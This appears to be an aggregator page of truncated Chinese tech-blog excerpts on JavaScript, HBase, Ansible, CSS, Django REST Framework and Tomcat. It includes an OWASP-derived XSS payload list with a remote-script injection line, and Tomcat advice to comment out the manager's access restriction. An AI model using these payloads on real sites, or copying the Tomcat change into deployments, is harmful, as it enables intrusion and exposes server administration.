meta

js字符串操作总结

时光总嘲笑我的痴心妄想 提交于 2020-02-26 00:19:46
字符方法 [html] view plain copy <!DOCTYPE html > < html lang= "en" > < head > < meta charset= "utf-8" > < title >字符方法 </ title > </ head > < body > < script type= "text/javascript" > /* charAt方法和charCodeAt方法都接收一个参数,基于0的字符位置 charAt方法是以单字符字符串的形式返回给定位置的那个字符 charCodeAt方法获取到的不是字符而是字符编码 */ var str= "hello world"; console.log(str.charAt(1));//e console.log(str.charCodeAt(1));//101 //还可以使用方括号加数字索引来访问字符串中特定的字符 console.log(str[1]);//e </ script > </ body > </ html > 字符串操作方法 concat方法 [html] view plain copy <!DOCTYPE html > < html lang= "en" > < head > < meta charset= "utf-8" > < title >concat方法 </ title > </

Hbase数据存储原理与读写详解

﹥>﹥吖頭↗ 提交于 2020-02-25 19:56:21
1、HBase的数据存储原理 一个HRegionServer会负责管理很多个region 一个* region 包含很多个store 一个 列族就划分成一个 store** 如果一个表中只有1个列族,那么每一个region中只有一个store 如果一个表中有N个列族,那么每一个region中有N个store 一个store里面只有一个memstore memstore是一块 内存区域 ,写入的数据会先写入memstore进行缓冲,然后再把数据刷到磁盘 一个store里面有很多个 StoreFile , 最后数据是以很多个 HFile 这种数据结构的文件保存在HDFS上 StoreFile是HFile的抽象对象,如果说到StoreFile就等于HFile 每次memstore刷写数据到磁盘,就生成对应的一个新的HFile文件出来 2、HBase数据读流程 说明:HBase集群,只有一张meta表,此表只有一个region,该region数据保存在一个HRegionServer上 1、客户端首先与zk进行连接;从zk找到meta表的region位置,即meta表的数据存储在某一HRegionServer上;客户端与此HRegionServer建立连接,然后读取meta表中的数据;meta表中存储了所有用户表的region信息,我们可以通过 scan 'hbase:meta'

ansible roles详解+搭建LAMP架构

回眸只為那壹抹淺笑 提交于 2020-02-25 17:05:16
ansible roles 在实际的工作当中,一个完整的项目实际上是很多功能体的组合,如果将所有的功能写在一个playbook中会存在如代码耦合程度高、playbook长而维护成本大、灵活性低等一系列的问题。使用roles能巧妙的解决这一系列的问题。roles是ansible1.2版本后加入的新功能,适合于大项目playbook的编排架构。 ansible roles目录结构 roles能够根据层次型结构自动装载变量文件、task以及handlers等。简单来讲,roles就是通过分别将变量、文件、任务、模块及处理器放置于单独的目录中,并可以便捷地include它们,roles一般用于基于主机构建服务的场景中,但也可以用于构建守护进程等场景中。 roles/ common/ files/ templates/ tasks/ handlers/ vars/ defaults/ meta/ web/ files/ templates/ tasks/ handlers/ vars/ defaults/ meta/ roles内各目录含义解释 files:用来存放由copy模块或script模块调用的文件。 templates:用来存放jinjia2模板,template模块会自动在此目录中寻找jinjia2模板文件。 tasks:此目录应当包含一个main.yml文件

ansible深入理解和操作——03(roles详解+搭建LAMP架构)

怎甘沉沦 提交于 2020-02-25 16:17:35
ansible roles 在实际的工作当中,一个完整的项目实际上是很多功能体的组合,如果将所有的功能写在一个playbook中会存在如代码耦合程度高、playbook长而维护成本大、灵活性低等一系列的问题。使用roles能巧妙的解决这一系列的问题。roles是ansible1.2版本后加入的新功能,适合于大项目playbook的编排架构。 ansible roles目录结构 roles能够根据层次型结构自动装载变量文件、task以及handlers等。简单来讲,roles就是通过分别将变量、文件、任务、模块及处理器放置于单独的目录中,并可以便捷地include它们,roles一般用于基于主机构建服务的场景中,但也可以用于构建守护进程等场景中。 roles/ common/ files/ templates/ tasks/ handlers/ vars/ defaults/ meta/ web/ files/ templates/ tasks/ handlers/ vars/ defaults/ meta/ roles内各目录含义解释 files:用来存放由copy模块或script模块调用的文件。 templates:用来存放jinjia2模板,template模块会自动在此目录中寻找jinjia2模板文件。 tasks:此目录应当包含一个main.yml文件

XSS攻击payload大全

六眼飞鱼酱① 提交于 2020-02-25 15:50:12
吐血整理转载请说明。 原文收集于OWASP XSS_Filter_Evasion_Cheat_Sheet 正文: XSS JavaScript injection: <SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT> multiple contexts including html, script string, js and url: javascript:/*--></title></style></textarea></script></xmp><svg/οnlοad='+/"/+/οnmοuseοver=1/+/[*/[]/+alert(1)//'> Image XSS using the JavaScript directive,IE7.0 doesn't support: <IMG SRC="javascript:alert('XSS');"> No quotes and no semicolon: <IMG SRC=javascript:alert('XSS')> Case insensitive XSS attack vector: <IMG SRC=JaVaScRiPt:alert('XSS')> HTML entities: <IMG SRC=javascript:alert("XSS")> both double and

使用CSS将图像对齐

拈花ヽ惹草 提交于 2020-02-25 12:34:57
相对于<img>元素的align特性来说,越来越多的网页设计人员使用float属性来对齐图像。可以采用两种方式来实现对齐。为了确保文本不会与图像的边缘接触,我们经常会给图像增加一个外边距。 <html> <head> <title>TODO supply a title</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style type="text/css"> body { font-family: Georgia, "Times New Roman", serif; color: #665544;} img.align-left { float: left; margin-right: 10px;} img.align-right { float: right; margin-left: 10px;} img.medium { width: 250px; height: 250px;} </style> </head> <body> <p><img src="magnolia-large.jpg" alt="align-right medium" class="align-left medium"/><b><i

meta viewport相关

孤人 提交于 2020-02-24 18:38:56
meta viewport相关 <!DOCTYPE html> <!--H5标准声明,使用 HTML5 doctype,不区分大小写--> <head lang=”en”> <!--标准的 lang 属性写法--> <meta charset=’utf-8′> <!--声明文档使用的字符编码--> <meta http-equiv=”X-UA-Compatible” content=”IE=edge,chrome=1″/> <!--优先使用 IE 最新版本和 Chrome--> <meta name=”description” content=”不超过150个字符”/> <!--页面描述--> <meta name=”keywords” content=””/> <!-- 页面关键词--> <meta name=”author” content=”name, email@gmail.com”/> <!--网页作者--> <meta name=”robots” content=”index,follow”/> <!--搜索引擎抓取--> <meta name=”viewport” content=”initial-scale=1, maximum-scale=3, minimum-scale=1, user-scalable=no”> <!--为移动设备添加 viewport-->

第一静态页面代码,算是个好的开始吧。

試著忘記壹切 提交于 2020-02-24 10:46:29
  开始学习html5已经第4天了,决定从今天起每天写一篇博客,当作我成为网页开发人员的日记,记录我的成长过程。   今天老师布置了作业,写出百度网页首页的静态页面代码。浅学html和css之后,任务完成还算顺利,代码如下: <!doctype html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="Generator" content="EditPlus®"> <meta name="Author" content=""> <meta name="Keywords" content=""> <meta name="Description" content=""> <title>百度一下,你就知道</title> <link rel="stylesheet" type="text/css" href="Css/baidu.css"> </head> <body>   <div id="container">   <div id="header">     <span id="address">       <a class="topaddress" href="http://news.baidu.com" target="_blank">新闻</a>          <a class="topaddress

访问.阿里云的.tomcat管理器.

大兔子大兔子 提交于 2020-02-23 16:02:01
(2020-2-23 12:01:47) 修改/webapps/manager/META-INF/context.xml,注释掉value里内容 source 修改 /root/apache-tomcat-9.0.31/webapps/manager/META-INF 而不是.错误. [ root@*** apache-tomcat-9.0.31 ] # tree |grep -C 5 context.xml ├── conf │ ├── Catalina │ │ └── localhost │ ├── catalina.policy │ ├── catalina.properties │ ├── context.xml │ ├── jaspic-providers.xml │ ├── jaspic-providers.xsd │ ├── logging.properties │ ├── server.xml │ ├── tomcat-users.xml -- │ │ │ ├── asf-logo.svg │ │ │ └── tomcat.gif │ │ ├── index.jsp │ │ ├── manager.xml │ │ ├── META-INF │ │ │ └── context.xml │ │ └── WEB-INF │ │ ├── jsp │ │ │ ├── 401

DRF之子序列化、model类(四)

会有一股神秘感。 提交于 2020-02-23 00:49:51
一、二次封装Resonse responses.py from rest_framework.response import Response class APIResponse(Response): def __init__(self, status=None, msg=None, http_status=None, *args, **kwargs): data = { 'status': status, 'msg': msg, } if kwargs: data.update(kwargs) super().__init__(status=http_status,data=data) 二、数据库关系分析 ''' 1.相互有关系的两张表,增删改操作会相互影响,导致效率低下,查询操作就是正常的连表操作 2.相互有关的两张表,断开外键关系,但从代码逻辑层面保持原来的联系 - 这样一来,每个表都可以单独操作,提高了增删改查的效率,在开发中要避免由此带来的脏数据,事务 + 代码层面的逻辑约束 - 由于数据没有发生变化,查询的连表操作不会受到影响 3. django的orm支持断关联操作关系表,且所有的操作方式和没有断开关联的操作是一致的(在django2.0以上默认不进行级联更新) ''' 三、orm操作关系 ''' 外键位置: 1.一对多的外键关系,FK毫无疑问建立在多的乙方